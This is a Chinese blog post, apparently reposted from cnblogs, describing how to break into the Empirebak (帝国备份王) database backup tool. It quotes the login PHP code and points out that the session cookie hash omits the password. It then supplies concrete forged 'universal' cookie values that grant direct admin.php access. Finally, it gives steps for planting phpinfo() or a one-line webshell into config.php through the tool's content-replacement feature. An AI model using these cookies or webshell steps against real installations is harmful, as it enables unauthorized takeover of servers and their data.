• 帝国备份王(Empirebak)万能cookie及拿shell


    1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

    登录成功设置4个cookie,看代码

    function login($lusername,$lpassword,$key,$lifetime=0){    global $set_username,$set_password,$set_loginauth,$set_loginkey;    if(empty($lusername)||empty($lpassword))    {    printerror("EmptyLoginUser","index.php");    }    //验证码    if(!$set_loginkey)    {    if($key<>getcvar('checkkey')||empty($key))    {    printerror("FailLoginKey","index.php");    }    }    if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    {    printerror("ErrorUser","index.php");    }    //认证码    if($set_loginauth&&$set_loginauth!=$_POST['loginauth'])    {    printerror("ErrorLoginAuth","index.php");    }    $logintime=time();    $rnd=make_password(12);//生成随机字符    $s1=esetcookie("bakusername",$lusername,0);    $s2=esetcookie("bakrnd",$rnd,0);//随机字符    $s3=esetcookie("baklogintime",$logintime,0);    Ebak_SCookieRnd($lusername,$rnd);//    if(!$s1||!$s2)    {    printerror("NotOpenCookie","index.php");    }    printerror("LoginSuccess","admin.php");    } 

    再看看make_password函数

    function make_password($pw_length){    $low_ascii_bound=50;    $upper_ascii_bound=122;    $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    while($i<$pw_length)    {    mt_srand((double)microtime()*1000000);    $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    if(!in_array($randnum,$notuse))    {    $password1=$password1.chr($randnum);    $i++;    }    }    return $password1;    } 

    这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

    function Ebak_SCookieRnd($username,$rnd){    global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码    $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了    esetcookie("loginebakckpass",$ckpass,0);    } 

    下面给出万能cookie(key:value):

    ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    ebak_bakrnd:35y5cCnnA4Kh    ebak_bakusername:admin    ebak_baklogintime:4070883661 

    使用以上cookie即可直接访问admin.php

    2.拿shell

    后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库备份数据,随便找个数据库备份,

    然后到替换目录文件内容里,选择刚才备份的数据库,

    "$b_table="
    替换成

    "phpinfo();//或者写你的一句话木马

    $b_table="

    访问那个目录的/config.php即可~

  • 相关阅读:
    spark[源码]-TaskSchedulerlmpl类源码
    spark[源码]-SparkEnv执行环境创建
    spark[源码]-sparkContext概述
    spark学习(基础篇)--(第三节)Spark几种运行模式
    spark关于join后有重复列的问题(org.apache.spark.sql.AnalysisException: Reference '*' is ambiguous)
    Spark --【宽依赖和窄依赖】
    CURL常用命令
    Foundation框架基本数据类型
    Object-C Categories和Protocols
    Object c 基础知识
  • 原文地址:https://www.cnblogs.com/hookjoy/p/4292106.html
Copyright © 2020-2023  润新知